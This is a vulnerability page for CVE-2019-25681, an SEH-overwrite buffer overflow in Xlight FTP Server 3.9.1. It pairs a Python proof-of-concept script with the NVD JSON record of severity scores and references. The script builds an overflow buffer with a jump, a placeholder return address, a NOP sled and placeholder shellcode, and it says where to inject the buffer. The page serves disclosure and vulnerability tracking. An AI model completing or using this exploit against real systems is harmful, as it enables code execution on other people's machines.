CVE-2019-25681

#!/usr/bin/python # PoC for CVE-2019-25681 Xlight FTP Server SEH Overwrite # This script generates a malicious buffer to trigger the vulnerability import sys def create_payload(): # Total payload size around 428 bytes mentioned in description # Structure: Junk + SEH Handler + SEH Address + Shellcode # Offset to overwrite the SEH handler (needs adjustment based on exact version/debug) offset = 424 # SEH overwrite sequence # "\xeb\x06\x90\x90" is a short jump (6 bytes) + NOPs seh_handler = "\xeb\x06\x90\x90" # Address of POP POP RET instruction (Universal or specific address needed) # This is a placeholder address seh_address = "\xaf\x11\x50\x62" # NOP sled for stability nop_sled = "\x90" * 20 # Simple shellcode (e.g., calc.exe or bind shell) # Placeholder: 0xCC (INT3) to crash if executed shellcode = "\xCC" * 50 payload = "A" * offset + seh_handler + seh_address + nop_sled + shellcode return payload if __name__ == "__main__": buf = create_payload() print("[+] Generated malicious payload for CVE-2019-25681") print(f"[+] Payload length: {len(buf)} bytes") print("[+] Usage: Inject this string into the 'Program Execution' field in Virtual Server Configuration")

{"cve": {"id": "CVE-2019-25681", "sourceIdentifier": "[email protected]", "published": "2026-04-05T21:16:46.457", "lastModified": "2026-04-09T19:33:14.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xlight FTP Server 3.9.1 contains a structured exception handler (SEH) overwrite vulnerability that allows local attackers to crash the application and overwrite SEH pointers by supplying a crafted buffer string. Attackers can inject a 428-byte payload through the program execution field in virtual server configuration to trigger a buffer overflow that corrupts the SEH chain and enables potential code execution."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xlightftpd:xlight_ftp_server:3.9.1:*:*:*:*:*:*:*", "matchCriteriaId": "A95DCB3E-5C1F-480B-AB61-4200B8CB3909"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/46458", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/xlight-ftp-server-seh-overwrite-buffer-overflow", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.xlightftpd.com/download/xlight.zip", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.xlightftpd.com/index.htm", "source": "[email protected]", "tags": ["Product"]}]}}